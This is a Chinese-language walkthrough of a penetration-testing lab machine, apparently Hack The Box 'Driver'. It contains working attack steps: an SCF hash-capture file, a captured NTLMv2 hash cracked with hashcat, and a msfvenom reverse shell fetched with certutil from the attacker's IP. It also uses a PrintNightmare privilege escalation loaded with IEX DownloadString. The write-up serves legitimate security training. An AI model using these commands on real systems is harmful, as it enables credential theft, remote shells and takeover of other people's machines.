[toc]
80端口进来admin,admin弱口令登进来
这配色看个鸡毛,啥都看不清
源代码改个背景色为白色
会将文件上传到一个共享目录
接下来打一个SMB 下的 SCF File Attacks(SCF 文件攻击)
什么是 SCF 文件?
- SCF(
.scf
)是 Windows 的一种“资源管理器快捷文件”,本来用于定义在桌面显示的小图标和一些命令(例如“显示桌面”)。 - 看起来像普通的小文件,但它可以包含一个指向 网络路径(UNC 路径) 的图标位置,例如
\\attacker\share\icon.ico
。
攻击原理(通俗版)
- 攻击者把一个带有指向他们控制的网络位置(SMB/UNC)的
.scf
文件放到目标能看到的地方(例如公用目录、共享、或插入到电脑的 USB)。 - 当用户在文件管理器里查看这个目录或双击该文件时,Windows 资源管理器会尝试去获取那个网络上的图标或资源。
- 为了访问
\\attacker\...
,Windows 会向该远端 SMB 主机发起认证(自动发送 NTLM 凭证哈希)。 - 攻击者在远端的 SMB 服务上就可以捕获到这些 Windows 发出的认证哈希(例如 NTLMv1/NTLMv2)。
- 得到哈希后,攻击者可能用来 离线破解、进行 NTLM relay(中继)或者尝试横向移动等。
UNC(Universal Naming Convention) 是 Windows 用来访问网络资源的统一命名路径格式。
格式一般是这样的:
\\服务器名\共享名\文件路径
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
构造
[Shell]
Command=2
IconFile=\\10.10.16.36\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
kali使用下述命令接收hash
sudo responder -I tun0 -w --lm -v
抓到哈希值
[SMB] NTLMv2 Client : 10.129.36.133
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash : tony::DRIVER:1f82f16039b61909:AB117914599A51C66B48DFD4D891FB5D:01010000000000008D3DD1C4D43EDC015A8BE11C1251AB5600000000020000000000000000000000
丢给ai生成一个破解哈希的命令
hashcat -m 5600 'tony::DRIVER:1f82f16039b61909:AB117914599A51C66B48DFD4D891FB5D:01010000000000008D3DD1C4D43EDC015A8BE11C1251AB5600000000020000000000000000000000' /usr/share/wordlists/rockyou.txt
拿到密码为liltony
WinRM(Windows Remote Management)是 Windows 实现的远程管理协议,基于 WS-Management (WS-Man) 标准。
当你看到 端口 5985,它通常指 WinRM 的 HTTP(未加密)监听端口;而 5986 则是 WinRM 的 HTTPS(加密)端口。
它有什么用?
- 远程执行命令和脚本(等同于 Linux 上的 SSH)。
- 支持 PowerShell Remoting:管理员可以用
Enter-PSSession
/Invoke-Command
在远程 Windows 主机上运行 PowerShell。 - 被配置管理工具/自动化框架(如 Ansible、Salt、Chef/DSC、Puppet)用来与 Windows 节点通信。
- 对企业批量管理、补丁、配置下发、收集信息非常方便(适合大规模运维)。
使用命令连接
evil-winrm -i 10.129.36.133 -u tony -p liltony
连接后应该是打一个2021年打印机的cve,不过第一次渗透win系统,搜个博客试试常规套路
| systeminfo
| 打印系统信息 |
| ———————————————————— | ———————————- |
| whoami
| 获取当前用户名 |
| whoami /priv
| 列出当前帐户权限 |
| ipconfig
| 网络配置信息 |
| ipconfig /displaydns
| 显示 DNS 缓存 |
| route print
| 打印路由表 |
| arp -a
| 打印 ARP 表 |
| hostname
| 获取主机名 |
| net user
| 列出用户 |
| net localgroup
| 列出所有组 |
| net view \\127.0.0.1
| 列出打开到当前计算机的会话 |
| net session
| 列出其他机器打开的会话 |
| netsh firewall show config
| 显示防火墙配置 |
| DRIVERQUERY
| 列出已安装的驱动 |
| tasklist /svc
| 列出服务任务 |
| net start
| 列出启动的服务 |
| dir /s foo
| 在目录中搜索包含指定字符的项目 |
| sc query
| 列出所有服务 |
| sc qc ServiceName
| 找到指定服务的路径 |
| shutdown /r /t 0
| 立即重启 |
| type file.txt
| 打印文件内容 |
| icacls "C:\Example"
| 列出权限 |
| wmic qfe get Caption,Description,HotFixID,InstalledOn
| 列出已安装的补丁 |
| (New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath")
| 利用 PowerShell 远程下载文件到本地 |
| accesschk.exe -qwsu "Group"
| 修改对象权限 |
https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
用msf连接目标主机,从而可以尝试补丁搜索
certutil.exe
这是Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀。
certutil.exe -urlcache -f http://10.10.16.36:8000/msf_tcp.exe msf_tcp.exe 进行下载文件
msf生成反弹shellpayload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.36 LPORT=6666 -f exe -o msf_tcp.exe
再用python起一个服务,主机下载
kali设置监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.16.36
msf6 exploit(multi/handler) > set LPORT 6666
随后主机执行exe,即可拿到shell
靠,被骗了
算了,就当是练手连接msf了
3.1 不带引号的服务路径
当系统管理员配置 Windows 服务时,如果没有为可执行文件路径添加引号,攻击者可以在路径中放置恶意可执行文件,从而劫持服务执行权限。
示例:
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
如果未加引号,系统可能会执行C:\Program.exe
而不是预期的服务。这类漏洞可以通过简单的脚本自动检测,例如:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
在某些情况下,服务的可执行文件路径可能指向一个对非管理员用户可写的目录。攻击者可以利用这一点替换合法的可执行文件,从而获得更高的权限。
示例:
icacls "C:\Program Files\VulnerableService" /grant Everyone:F
攻击者可以将恶意可执行文件放置在该目录中,当服务启动时,恶意代码将被执行。
找到个提权辅助工具
https://github.com/peass-ng/PEASS-ng/releases
CVE-2021-1675
https://github.com/calebstewart/CVE-2021-1675
默认禁止执行ps1文件,在当前终端中修改临时权限
Set-ExecutionPolicy Bypass -Scope Process
```
Invoke-Nightmare -DriverName "Xerox" -NewUser "aaa" -NewPassword "123"
发现失败了,换种执行方式,winrm是powshell,所以直接远程执行
解释细节(为什么 IEX 能用而 ./1.ps1
不行)
- Execution Policy(执行策略):系统可能为
Restricted
或AllSigned
,这会阻止直接运行本地.ps1
文件。IEX
下载到内存并立即执行,通常不会被 ExecutionPolicy 阻止(这也是攻击者常用的绕过方式)。 - Scope(作用域)差异:
.\script.ps1
:在子作用域执行,脚本结束后里面定义的函数/变量默认不会保留到交互 shell。. .\script.ps1
(注意前面有个点和空格,称为“点源 dot-source”):在当前作用域执行,函数/变量会留在当前会话中,之后可以直接调用。IEX (DownloadString)
:把文字直接解释并在当前会话中执行(等同于点源效果),因此Invoke-Nightmare
可用。
IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.36:8000/1.ps1')
evil-winrm -i 10.129.36.133 -u aaa -p 123
这个靶场真是受益匪浅